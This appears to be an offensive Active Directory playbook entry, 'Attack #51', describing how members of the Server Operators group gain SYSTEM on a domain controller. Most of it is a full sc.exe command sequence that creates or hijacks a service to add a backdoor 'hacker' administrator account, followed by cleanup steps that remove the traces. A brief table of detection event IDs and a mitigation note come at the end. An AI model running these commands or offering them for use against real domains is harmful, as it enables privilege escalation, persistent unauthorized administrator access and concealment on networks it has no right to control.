title: "Attack #51 โ Abusing Server Operators Group" description: "sc.exe \\DC01 create evilsvc binPath= "cmd.exe /c net user hacker P@ss123! /add && net localgroup Administrators hacker /add" start= auto sc.exe \\DC01โฆ" category: active-directory subcategory: "Privilege & Group Abuse" tags: ["active-directory", "adcs"] tools: ["PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Six/๐ฃ Attack #51 โ Abusing Server Operators Group.md"#
๐ฃ Attack #51 โ Abusing Server Operators Group#
๐ How It Works#
Server Operators can log on to Domain Controllers, start/stop services, manage shared resources, and backup/restore files. The critical escalation path: Server Operators can modify and create Windows services โ allowing them to create a malicious service that runs as SYSTEM, achieving SYSTEM-level access on a DC.
โ๏ธ Prerequisites#
| Requirement | Detail |
|---|---|
| Membership in Server Operators | Can manage services on DCs |
๐ป Full Commands#
# โโ Create a malicious service โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
sc.exe \\DC01 create evilsvc binPath= "cmd.exe /c net user hacker P@ss123! /add && net localgroup Administrators hacker /add" start= auto
sc.exe \\DC01 start evilsvc
# โโ Or modify an existing service โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# Find a stoppable service:
sc.exe \\DC01 query type=own | findstr SERVICE_NAME
sc.exe \\DC01 config VSS binPath= "cmd.exe /c net localgroup Administrators low_user /add"
sc.exe \\DC01 stop VSS
sc.exe \\DC01 start VSS
# โโ Cleanup โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
sc.exe \\DC01 delete evilsvc
# Or restore the original binPath
๐ก๏ธ Detection โ Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 7045 | System Log (DC) | New service installed with suspicious binPath |
| 4697 | Security Log (DC) | Service installation |
| 4688 | Security Log (DC) | Process creation from service |
๐ Attack Chain Context#
[Server Operators] โโโ Service manipulation โ SYSTEM on DC
โ
โโโโ ๐ Create/modify service โ run as SYSTEM โ DCSync
โโโโ ๐ Defeated by: empty Server Operators group, monitor 7045
โ Attack #51 โ Server Operators complete.